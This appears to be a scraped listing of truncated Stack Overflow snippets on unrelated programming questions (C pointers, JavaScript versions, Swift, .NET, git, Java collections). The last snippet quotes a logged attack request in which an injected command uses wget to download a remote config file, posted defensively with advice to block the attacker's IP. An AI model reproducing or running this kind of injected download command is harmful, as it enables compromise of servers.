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Why are function pointers and data pointers incompatible in C/C++?
...
For those who remember MS-DOS, Windows 3.1 and older the answer is quite easy. All of these used to support several different memory models, with varying combinations of characteristics for code and data pointers.
So for instance for the Compact model (small code...
How do I know which version of Javascript I'm using?
...ipt">
var jsver = 1.0;
</script>
<script language="Javascript1.1">
jsver = 1.1;
</script>
<script language="Javascript1.2">
jsver = 1.2;
</script>
<script language="Javascript1.3">
jsver = 1.3;
</script>
<script language="Javascript1.4">
j...
Placeholder in UITextView
...g.
@interface MyClass () <UITextViewDelegate>
@end
Code for Swift 3.1
func textViewDidBeginEditing(_ textView: UITextView)
{
if (textView.text == "placeholder text here..." && textView.textColor == .lightGray)
{
textView.text = ""
textView.textColor = .blac...
What to learn for making Java web applications in Java EE 6? [closed]
... nice standard APIs for all your needs (Servlet 3.0, JSF 2.0, JPA 2.0, EJB 3.1 lite, Bean Validation 1.0, CDI, etc), because these APIs are all more than decent, because there is nothing really wrong in learning them, because this is already a big task, because you have to start somewhere, I'd focus...
Something better than .NET Reflector? [closed]
...DILE): Dotnet IL Editor (DILE) allows disassembling and debugging .NET 1.0/1.1/2.0/3.0/3.5 applications without source code or .pdb files. It can debug even itself or the assemblies of the .NET Framework on IL level.
Common Compiler Infrastructure: Microsoft Research Common Compiler Infrastructure (...
Where is git.exe located?
...umbersandletters>\cmd\git.exe
( \cmd versus \bin)
From GitHub Desktop 1.1
The UI is different and the Git path now is in:
C:\Users\<username>\AppData\Local\GitHubDesktop\app-<appversion>\resources\app\git\cmd\git.exe
PS: AppData is a hidden folder by default.
...
Format XML string to print friendly XML string
...n .NET 3.5. So if you're using a version of .NET older than that (.NET 1, 1.1, 2 or 3.0) then you'll have to use this answer. But if you're using .NET 3.5 or later Charles Prakash Dasari's answer is a lot simpler.
– Simon Tewsi
Sep 4 '13 at 23:54
...
How should I use git diff for long lines?
...
Nakilon
31.1k1212 gold badges9494 silver badges125125 bronze badges
answered Jun 24 '10 at 6:58
someone45someo...
Difference between HashMap, LinkedHashMap and TreeMap
...text of the Java API,
Hashtable is an obsolete class from the days of Java 1.1 before the collections framework existed. It should not be used anymore, because its API is cluttered with obsolete methods that duplicate functionality, and its methods are synchronized (which can decrease performance an...
What is /dev/null 2>&1?
...+xm111;wget+-O+config.json+http:/… > /dev/null 2>&1 & HTTP/1.1 xxx.xxx.xxx.xxx is attacker's IP and it is also listed as abusive in many sites. First and foremost preventive step is block the IP in firewall as well as pattern of such IPs. Attack was to redirect o...